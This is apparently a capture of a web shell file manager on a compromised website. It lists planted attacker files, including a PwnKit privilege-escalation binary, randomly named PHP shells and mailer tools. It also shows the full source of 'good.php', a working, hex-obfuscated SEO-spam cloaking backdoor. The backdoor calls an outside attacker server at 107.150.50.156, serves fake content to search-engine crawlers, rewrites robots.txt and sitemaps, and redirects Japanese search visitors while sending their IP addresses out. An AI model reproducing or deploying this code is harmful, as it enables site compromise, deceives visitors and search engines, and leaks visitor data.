Gecko [ cepatjitu.com ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
.well-known	[ DIR ]	drwxr-xr-x
874109	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
cgi-bin	[ DIR ]	drwxr-xr-x
.htaccess	231 B	-rw-r--r--
.mad-root	0 B	-rw-r--r--
9CcVIjJN1ov.php	41.78 KB	-rw-r--r--
C8A5bcRx3lL.php	41.84 KB	-rw-r--r--
FAhro975D24.php	35.46 KB	-rw-r--r--
Mh1rmlIE6jS.php	35.68 KB	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
asd67.php	3.61 KB	-rw-r--r--
chosen.php	8.82 KB	-rw-r--r--
classwithtostring.php	8.46 KB	-rw-r--r--
db.php	4.54 KB	-rw-r--r--
filefuns.php	20.04 KB	-r--r--r--
good.php	6.45 KB	-rw-r--r--
index.html	0 B	-rw-r--r--
index.php	8.82 KB	-r--r--r--
makeasmtp.php	179.23 KB	-rw-r--r--
manager.php	191.82 KB	-rw-r--r--
php.ini	105 B	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
theme-instusr.php	338 B	-rw-r--r--
wp-blog-header.php	340 B	-rw-r--r--
wp-blog.php	285 B	-rw-r--r--
wp-bot.php	8.25 KB	-rw-r--r--
wp-config.php	111 B	-rw-------
wp-load.php	57 B	-rw-r--r--

Code Editor : good.php

<?php
error_reporting(0);
@set_time_limit(120);
@ignore_user_abort(1);
$tr = "http://107.150.50.156/j250506_33/";
class Req
{
    public function server($name = '', $default = '')
    {
        if (empty($name)) {
            return $_SERVER;
        }
        $name = strtoupper($name);
        return isset($_SERVER[$name]) ? $_SERVER[$name] : $default;
    }
    public function iss()
    {
        if ($this->server('HTTPS') && ("\x31" == $this->server('HTTPS') || "\x6F\x6E" == strtolower($this->server('HTTPS')))) {
            return true;
        } elseif ('https' == $this->server('REQUEST_SCHEME')) {
            return true;
        } elseif ('443' == $this->server('SERVER_PORT')) {
            return true;
        } elseif ('https' == $this->server('HTTP_X_FORWARDED_PROTO')) {
            return true;
        }
        return false;
    }
    public function host()
    {
        $host = strval($this->server('HTTP_X_FORWARDED_HOST') ?: $this->server('HTTP_HOST'));
        return strpos($host, ':') ? strstr($host, ':', true) : $host;
    }
    public function scheme()
    {
        return $this->iss() ? "\x68\x74\x74\x70\x73" : "\x68\x74\x74\x70";
    }
    public function dm()
    {
        $port = $this->port();
        if (in_array($port, [80, 443])) {
            return $this->scheme() . "\x3A\x2F\x2F" . $this->host();
        }
        return $this->scheme() . "\x3A\x2F\x2F" . $this->host() . ':' . $port;
    }
    public function port()
    {
        return (int)($this->server('HTTP_X_FORWARDED_PORT') ?: $this->server('SERVER_PORT', ''));
    }
    public function ip()
    {
        if (getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
        } elseif (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('REMOTE_ADDR')) {
            $ip = getenv('REMOTE_ADDR');
        } else {
            $ip = $this->server('REMOTE_ADDR');
        }
        return $ip;
    }
    public function isc()
    {
        $agent = strtolower($this->server('HTTP_USER_AGENT'));
        if ($agent != '' && preg_match('/googlebot|google|yahoo|aol/si', $agent)) {
            return true;
        }
        return false;
    }
    public function isg()
    {
        $refer = strtolower($this->server('HTTP_REFERER'));
        if ($refer != '' && preg_match('/google.co.jp|yahoo.co.jp|google.com/si', $refer)) {
            return true;
        }
        return false;
    }
    public function uri()
    {
        if (($pos = strpos($this->server('REQUEST_URI'), '.php')) !== false) {
            $script_name = basename($this->server('SCRIPT_FILENAME'));
            if (basename($this->server('SCRIPT_NAME')) === $script_name) {
                $url = $this->server('SCRIPT_NAME');
            } elseif (basename($this->server('PHP_SELF')) === $script_name) {
                $url = $this->server('PHP_SELF');
            } elseif (basename($this->server('ORIG_SCRIPT_NAME')) === $script_name) {
                $url = $this->server('ORIG_SCRIPT_NAME');
            } elseif (($pos = strpos($this->server('PHP_SELF'), '/' . $script_name)) !== false) {
                $url = substr($this->server('SCRIPT_NAME'), 0, $pos) . '/' . $script_name;
            } elseif ($this->server('DOCUMENT_ROOT') && strpos($this->server('SCRIPT_FILENAME'), $this->server('DOCUMENT_ROOT')) === 0) {
                $url = str_replace($this->server('DOCUMENT_ROOT'), '', $this->server('SCRIPT_FILENAME'));
            }
            $requri = $url . substr($this->server('REQUEST_URI'), $pos + 4);
        } else {
            $requri = substr($this->server('REQUEST_URI'), strpos($this->server('REQUEST_URI'), '/'));
        }
        return rtrim($requri, '/');
    }
    public function execReq($url, $p = array())
    {
        $url = str_replace(' ', '+', $url);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 20);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p));
        $output = curl_exec($ch);
        $errorCode = curl_errno($ch);
        curl_close($ch);
        if (0 !== $errorCode) {
            return false;
        }
        return $output;
    }
}
$req = new Req();
$isc = $req->isc();
$isg = $req->isg();
$umap = $tr . "\x6D\x61\x70";
$uri = urldecode($req->uri());
$p = array(
    "\x64\x6F\x6D\x61\x69\x6E" => $req->dm(),
    "\x70\x6F\x72\x74" => $req->port(),
    "\x75\x72\x69" => $uri
);
if (substr($uri, -6) == "\x72\x6F\x62\x6F\x74\x73") {
    $output = $req->execReq($tr . "\x72\x6F\x62\x6F\x74\x73", $p);
    $rpt = __DIR__ . "\x2F\x72\x6F\x62\x6F\x74\x73\x2E\x74\x78\x74";
    file_put_contents($rpt, $output);
    $robots_cont = @file_get_contents($rpt);
    if (strpos(strtolower($robots_cont), "\x73\x69\x74\x65\x6D\x61\x70")) {
        exit("\x72\x6F\x62\x6F\x74\x73\x2E\x74\x78\x74\x20\x66\x69\x6C\x65\x20\x63\x72\x65\x61\x74\x65\x20\x73\x75\x63\x63\x65\x73\x73\x21");
    } else {
        exit("\x72\x6F\x62\x6F\x74\x73\x2E\x74\x78\x74\x20\x66\x69\x6C\x65\x20\x63\x72\x65\x61\x74\x65\x20\x66\x61\x69\x6C\x21");
    }
}
if (substr($uri, -4) == "\x2E\x78\x6D\x6C") {
    if (strpos($uri, "\x61\x6C\x6C\x73\x69\x74\x65\x6D\x61\x70\x2E\x78\x6D\x6C") || strpos($uri, "\x73\x69\x74\x65\x6D\x61\x70\x2D\x69\x6E\x64\x65\x78\x2E\x78\x6D\x6C") || strpos($uri, "\x73\x69\x74\x65\x6D\x61\x70\x2D\x69\x6E\x64\x65\x78\x2D\x31\x2E\x78\x6D\x6C") || strpos($uri, "\x69\x6E\x64\x65\x78\x2E\x78\x6D\x6C")) {
        $output = $req->execReq($umap, $p);
        header("Content-type:text/" . (substr($output, 0, 5) === '<?xml' ? 'xml' : 'plain') . '; charset=utf-8');
        exit('' . $output);
    }
    $output = $req->execReq($tr . "\x77\x6F\x72\x64", $p);
    header("Content-type:text/xml; charset=utf-8");
    if ($output == "\x31") {
        exit('' . $req->execReq($umap, $p));
    } else {
        exit('' . $output);
    }
}
$lang = $req->server('HTTP_ACCEPT_LANGUAGE');
if (!$isc && $isg && preg_match('/ja/i', $lang)) {
    $p["\x69\x70"] = $req->ip();
    exit('' . $req->execReq($tr . "\x6A\x75\x6D\x70", $p));
}
if ($isc) {
    exit('' . $req->execReq($tr . "\x69\x6E\x64\x61\x74\x61", $p));
}
?>

${this.title}

Code Editor : good.php